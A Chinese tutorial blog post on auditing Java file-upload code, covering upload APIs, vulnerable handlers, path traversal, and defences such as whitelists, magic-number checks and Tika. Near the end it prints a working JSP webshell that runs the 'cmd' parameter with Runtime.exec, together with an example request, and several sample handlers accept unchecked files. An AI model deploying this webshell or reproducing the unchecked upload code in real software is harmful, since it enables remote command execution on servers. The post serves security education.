【Java代码审计 | 第七篇】文件上传方式、漏洞成因、防范及审计思路

未经许可,不得转载。

在这里插入图片描述

文件上传类型

在 HTML 表单中,enctype(编码类型)属性用于指定提交数据的编码方式,不同的 enctype 适用于不同的数据类型和场景。

1、application/x-www-form-urlencoded(默认编码方式)

适用于大多数表单提交场景,仅处理表单中的 value 属性值。

数据会被编码成 URL 形式(即 key1=value1&key2=value2),适用于文本数据的提交。

2、multipart/form-data(适用于文件上传)

该方式以二进制流的形式处理表单数据,能够封装文件域中选定的文件内容。

通常与 method="post" 结合使用,后端可通过 InputStream 读取传输的二进制数据,从而实现文件上传。

3、text/plain(适用于简单文本提交)

该方式不会对数据进行额外编码,仅会将空格转换为 + 号。

主要用于 mailto:URL 形式的表单提交,便于通过表单直接发送邮件。

选择合适的 enctype 可以确保表单数据正确提交,特别是在涉及文件上传时,应使用 multipart/form-data 方式。

文件上传方式

文件上传主要有以下四种方式:文件流上传、MultipartFile方式上传、ServletFileUpload上传和Servlet Part上传。

文件流上传

文件流上传是最基础的方式,直接通过 InputStream 读取上传文件的数据,并使用 OutputStream 将其写入服务器指定目录。

示例代码:

@RequestMapping("/upload")
public String fileUpload(@RequestParam("file") MultipartFile file, HttpServletRequest request) throws IOException {
    // 获取文件上传路径
    String path = request.getServletContext().getRealPath("upload");
    String filename = file.getOriginalFilename();

    if (file.isEmpty()) {
        return "请上传文件";
    }

    try {
        // 创建文件输出流
        OutputStream fos = new FileOutputStream(path + "/" + filename);
        InputStream fis = file.getInputStream();
        int len;
        while ((len = fis.read()) != -1) {
            fos.write(len);
        }

        // 关闭流
        fos.flush();
        fos.close();
        fis.close();

        return "Success!";
    } catch (FileNotFoundException e) {
        e.printStackTrace();
    }

    return "文件上传失败";
}

MultipartFile方式上传

Spring 提供了 MultipartFile 接口用于文件上传,该方式相对简单,提供了一些常用方法:

  • String getOriginalFilename():获取上传文件的原始名称
  • InputStream getInputStream():获取文件输入流
  • void transferTo(File dest):将文件保存到指定目录
  • String getContentType():获取文件的 MIME 类型

示例代码:

@RequestMapping("/file")
public String MultiFileUpload(@RequestParam("file") MultipartFile file, HttpServletRequest request) {
    if (file.isEmpty()) {
        return "请上传文件";
    }

    // 获取上传目录
    String filePath = request.getServletContext().getRealPath("upload");
    String fileName = file.getOriginalFilename();
    File dest = new File(filePath + File.separator + fileName);

    // 确保上传目录存在
    if (!dest.getParentFile().exists()) {
        dest.getParentFile().mkdirs();
    }

    try {
        // 直接保存文件
        file.transferTo(dest);
        return "Success!";
    } catch (IOException e) {
        e.printStackTrace();
    }

    return "文件上传失败";
}

ServletFileUpload上传

ServletFileUpload 依赖于 Apache Commons FileUpload 组件,因此在使用前,需要在 pom.xml 中添加以下依赖项:

<dependency>
    <groupId>commons-fileupload</groupId>
    <artifactId>commons-fileupload</artifactId>
    <version>1.2.2</version>
</dependency>

此外,若在 Spring Boot 环境下使用 ServletFileUpload,需要关闭 Spring 默认的 multipart 处理器,否则会发生冲突:

spring:
  servlet:
    multipart:
      enabled: false

示例代码如下:

@RequestMapping("/upload3")
protected void ServletFileUpload(HttpServletRequest request, HttpServletResponse response) throws IOException {
    // 设置文件上传路径
    String filePath = request.getServletContext().getRealPath("upload");
    File uploadFile = new File(filePath);
    
    // 若目录不存在,则创建
    if (!uploadFile.exists() && !uploadFile.isDirectory()) {
        uploadFile.mkdir();
    }

    try {
        // 创建文件上传处理工厂
        DiskFileItemFactory factory = new DiskFileItemFactory();
        // 创建文件上传解析器
        ServletFileUpload fileupload = new ServletFileUpload(factory);
        // 设置最大文件大小(3MB)
        fileupload.setFileSizeMax(3145728);

        // 确保请求的内容为 multipart/form-data,否则退出
        if (!fileupload.isMultipartContent(request)) {
            return;
        }

        // 解析请求中的文件数据
        List<FileItem> items = fileupload.parseRequest(request);
        for (FileItem item : items) {
            if (item.isFormField()) {
                // 处理普通表单字段
                String name = item.getFieldName();
                String value = item.getString("UTF-8");
                System.out.println(name + " : " + value);
            } else {
                // 处理文件字段
                String fileName = item.getName();
                if (fileName == null || fileName.trim().isEmpty()) {
                    continue;
                }

                // 兼容不同浏览器的文件名格式,仅保留文件名部分
                fileName = fileName.substring(fileName.lastIndexOf(File.separator) + 1);

                // 读取文件输入流并保存
                InputStream is = item.getInputStream();
                FileOutputStream fos = new FileOutputStream(filePath + File.separator + fileName);
                byte buffer[] = new byte[1024];
                int length;
                while ((length = is.read(buffer)) > 0) {
                    fos.write(buffer, 0, length);
                }

                // 关闭流
                is.close();
                fos.close();
                item.delete();
            }
        }
        response.getWriter().write("Success!");
    } catch (FileUploadException e) {
        e.printStackTrace();
    }
}

Servlet Part上传

Servlet 3.0 及以上版本提供了 request.getParts() 方法,可直接获取上传文件的数据,简化了文件上传的处理流程。

常用 API 方法

  • String getName():获取 Part 名称(表单字段的 name 值)。
  • String getContentType():如果 Part 是文件,返回文件的 MIME 类型;否则返回 null。
  • void write(String path):将上传的文件保存到服务器指定路径。
  • InputStream getInputStream():获取文件的输入流,支持手动处理文件内容。
  • Collection<String> getHeaderNames():获取 Part 的所有头部信息。

示例代码

@RequestMapping("/upload4")
public void ServletPartUpload(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    // 获取上传目录
    String filePath = request.getServletContext().getRealPath("upload");
    File uploadFile = new File(filePath);
    
    // 若目录不存在,则创建
    if (!uploadFile.exists() && !uploadFile.isDirectory()) {
        uploadFile.mkdir();
    }

    // 通过表单 name 属性获取上传的文件
    Part part = request.getPart("file");
    if (part == null) {
        return;
    }

    // 获取文件名并保存
    String filename = filePath + File.separator + part.getSubmittedFileName();
    part.write(filename);
    part.delete();
}

文件上传漏洞

文件上传漏洞是指攻击者通过上传恶意文件(如可执行脚本、病毒、木马等)到服务器,从而执行恶意操作或获取服务器控制权的安全漏洞,一般发生在应用程序未对上传的文件进行严格的验证和限制时。

漏洞成因

未验证文件类型和扩展名

漏洞代码示例:

@WebServlet("/upload") // 指定Servlet的URL映射
public class FileUploadServlet extends HttpServlet {
    
    // 处理POST请求,实现文件上传
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        // 检查请求是否为多部分(即文件上传请求)
        if (ServletFileUpload.isMultipartContent(request)) {
            // 创建磁盘文件项工厂,用于处理文件上传
            DiskFileItemFactory factory = new DiskFileItemFactory();
            ServletFileUpload upload = new ServletFileUpload(factory);

            try {
                // 解析请求,获取文件项列表
                List<FileItem> items = upload.parseRequest(request);
                
                for (FileItem item : items) {
                    // 检查是否为文件字段,而不是普通表单字段
                    if (!item.isFormField()) {
                        // 获取上传文件的文件名
                        String fileName = new File(item.getName()).getName();
                        // 定义服务器上的文件存储路径(此处为/uploads/目录)
                        String filePath = "/uploads/" + fileName;
                        // 将上传的文件写入到服务器指定路径
                        item.write(new File(filePath));
                        // 向客户端返回上传成功的信息
                        response.getWriter().println("File uploaded: " + fileName);
                    }
                }
            } catch (Exception e) {
                e.printStackTrace(); // 打印异常信息,方便调试
            }
        }
    }
}

未验证文件类型和扩展名,可以上传任意文件。

未限制文件上传路径

String filePath = "/uploads/" + fileName;
item.write(new File(filePath));

文件上传路径未做限制,可以通过构造特殊文件名(如 ../../malicious.jsp)将文件上传到任意目录。

防范

验证文件类型和扩展名

  • 使用白名单机制,只允许上传指定的文件类型(如 .jpg.png.pdf 等)。
  • 不要依赖客户端验证(如 HTML 的 accept 属性),必须在服务器端进行验证。
// 允许的文件扩展名
String[] allowedExtensions = {"gif", "jpg", "jpeg", "png"};
String fileExtension = fileName.substring(fileName.lastIndexOf(".") + 1).toLowerCase();

boolean isValidExtension = false; 
for (String ext : allowedExtensions) {
    if (ext.equalsIgnoreCase(fileExtension)) { // 这里进行后缀匹配
        isValidExtension = true; 
        break;
    }
}

if (!isValidExtension) {
    response.getWriter().println("Invalid file type.");
    return;
}

但仅检查扩展名是不够的,攻击者可以伪造扩展名(如 shell.jsp.jpg),所以可以结合MIME 类型和**文件头(Magic Number)**进行多层验证。

// 获取文件 MIME 类型
String contentType = file.getContentType();
String[] allowedMimeTypes = {"image/gif", "image/jpeg", "image/png"};

boolean isValidMimeType = false;
for (String mimeType : allowedMimeTypes) {
    if (contentType.equalsIgnoreCase(mimeType)) {
        isValidMimeType = true;
        break;
    }
}

if (!isValidMimeType) {
    response.getWriter().println("Invalid MIME type.");
    return;
}

验证文件头:

import java.io.InputStream;

public boolean checkMagicNumber(InputStream inputStream) throws IOException {
    byte[] magic = new byte[4];
    inputStream.read(magic);
    String hex = bytesToHex(magic);

    // 常见图片格式的 Magic Number
    String[] validMagicNumbers = {
        "89504E47", // PNG
        "FFD8FFE0", // JPG
        "FFD8FFE1", // JPG
        "47494638"  // GIF
    };

    for (String validMagic : validMagicNumbers) {
        if (hex.startsWith(validMagic)) {
            return true;
        }
    }
    return false;
}

// 将字节数据转换为可读的十六进制表示
private String bytesToHex(byte[] bytes) {
    StringBuilder hexString = new StringBuilder();
    for (byte b : bytes) {
        String hex = Integer.toHexString(0xFF & b).toUpperCase();
        if (hex.length() == 1) {
            hexString.append("0");
        }
        hexString.append(hex);
    }
    return hexString.toString();
}

验证文件内容

可以使用工具(如 Apache Tika)验证文件内容是否与扩展名匹配。

import org.apache.tika.Tika;

Tika tika = new Tika();
String detectedType = tika.detect(new File(filePath));

if (!detectedType.startsWith("image/")) {
    response.getWriter().println("Invalid file content.");
    new File(filePath).delete(); // 删除非法文件
    return;
}

限制文件上传路径

将文件上传路径限制在特定目录,避免攻击者通过路径遍历上传文件到任意目录。

String uploadDir = "/uploads/";
String filePath = uploadDir + randomFileName;

// 确保路径在允许的目录内
if (!filePath.startsWith(uploadDir)) {
    response.getWriter().println("Invalid file path.");
    return;
}

content-type白名单

Content-Type 用于标识文件的 MIME 类型,但其安全性较低,某些情况下攻击者可以伪造 Content-Type。

String contentType = file.getContentType();
String[] whiteMimeTypes = {"image/gif", "image/jpeg", "image/jpg", "image/png"};
boolean isAllowedMimeType = false;

for (String mimeType : whiteMimeTypes) {
    if (contentType.equalsIgnoreCase(mimeType)) {
        isAllowedMimeType = true;
        break;
    }
}

if (!isAllowedMimeType) {
    return "content-type not allowed";
}

重命名文件

避免用户上传的文件覆盖服务器已有文件,建议对文件进行重命名,可以使用 UUID、MD5、时间戳等方式进行命名。

// 使用 UUID
String uuid = UUID.randomUUID().toString();
String fileExtension = fileName.substring(fileName.lastIndexOf(".")); // 获取后缀
fileName = uuid + fileExtension;

标准代码

import org.apache.commons.fileupload.FileItem;
import org.apache.commons.fileupload.disk.DiskFileItemFactory;
import org.apache.commons.fileupload.servlet.ServletFileUpload;
import org.apache.tika.Tika;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.File;
import java.io.IOException;
import java.util.List;
import java.util.UUID;

@WebServlet("/upload")
public class FileUploadServlet extends HttpServlet {
    private static final long MAX_FILE_SIZE = 10 * 1024 * 1024; // 10MB
    private static final String UPLOAD_DIRECTORY = "/uploads"; // 上传目录
    private static final String[] ALLOWED_EXTENSIONS = { "jpg", "jpeg", "png", "pdf" }; // 允许的文件扩展名

    @Override
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        // 检查是否为文件上传请求
        if (!ServletFileUpload.isMultipartContent(request)) {
            response.getWriter().println("Request does not contain upload data.");
            return;
        }

        // 配置上传参数
        DiskFileItemFactory factory = new DiskFileItemFactory();
        ServletFileUpload upload = new ServletFileUpload(factory);
        upload.setSizeMax(MAX_FILE_SIZE); // 设置最大文件大小

        try {
            // 解析请求
            List<FileItem> items = upload.parseRequest(request);

            for (FileItem item : items) {
                if (!item.isFormField()) {
                // 判断当前的 FileItem 是否是一个普通的表单字段,如果不是,则执行后续的文件上传处理逻辑。


                    // 获取文件名
                    String fileName = new File(item.getName()).getName();
                    String fileExtension = fileName.substring(fileName.lastIndexOf(".") + 1).toLowerCase();

                    // 验证文件扩展名
                    if (!isAllowedExtension(fileExtension)) {
                        response.getWriter().println("Invalid file type. Allowed types: " + String.join(", ", ALLOWED_EXTENSIONS));
                        return;
                    }

                    // 生成随机文件名
                    String randomFileName = UUID.randomUUID().toString() + "." + fileExtension;
                    String uploadPath = getServletContext().getRealPath("") + File.separator + UPLOAD_DIRECTORY;
                    File uploadDir = new File(uploadPath);

                    // 创建上传目录(如果不存在)
                    if (!uploadDir.exists()) {
                        uploadDir.mkdir();
                    }

                    // 保存文件
                    String filePath = uploadPath + File.separator + randomFileName;
                    File storeFile = new File(filePath);
                    item.write(storeFile);

                    // 验证文件内容
                    if (!isValidFileContent(storeFile, fileExtension)) {
                        response.getWriter().println("Invalid file content.");
                        storeFile.delete(); // 删除非法文件
                        return;
                    }

                    response.getWriter().println("File uploaded successfully: " + randomFileName);
                }
            }
        } catch (Exception e) {
            response.getWriter().println("Error occurred: " + e.getMessage());
        }
    }

    /**
     * 检查文件扩展名是否合法
     */
    private boolean isAllowedExtension(String fileExtension) {
        for (String ext : ALLOWED_EXTENSIONS) {
            if (ext.equalsIgnoreCase(fileExtension)) {
                return true;
            }
        }
        return false;
    }

    /**
     * 验证文件内容是否合法
     */
    private boolean isValidFileContent(File file, String expectedExtension) throws IOException {
        Tika tika = new Tika();
        String detectedType = tika.detect(file);

        // 根据文件扩展名验证内容类型
        switch (expectedExtension.toLowerCase()) {
            case "jpg":
            case "jpeg":
                return detectedType.equals("image/jpeg");
            case "png":
                return detectedType.equals("image/png");
            case "pdf":
                return detectedType.equals("application/pdf");
            default:
                return false;
        }
    }
}

审计思路

在代码审计过程中,可以通过全局搜索以下关键字,快速定位可能涉及文件上传的功能点:

DiskFileItemFactory
@MultipartConfig
MultipartFile
File
upload
InputStream
OutputStream
write
fileName
filePath

如果某功能点允许上传任意文件,需要进一步确认项目是否能够解析 JSP 文件。
因为如果 JSP 解析被禁用,即使成功上传 JSP 文件,攻击也无法生效。

对于 Spring Boot 项目,可以通过 pom.xml 文件检查是否引入了 JSP 解析相关的依赖:

<!-- JSP 编译支持 -->
<dependency>
    <groupId>org.apache.tomcat.embed</groupId>
    <artifactId>tomcat-embed-jasper</artifactId>
    <scope>provided</scope>
</dependency>

如果项目包含该依赖,说明其支持 JSP 解析,那么可以通过上传 JSP WebShell 实现远程代码执行:

<%
    java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
    int a;
    byte[] b = new byte[1024];
    out.print("<pre>");
    while ((a = in.read(b)) != -1) {
        out.println(new String(b, 0, a));
    }
%>

执行方式:

http://target.com/uploads/shell.jsp?cmd=whoami
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

秋说

感谢打赏

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值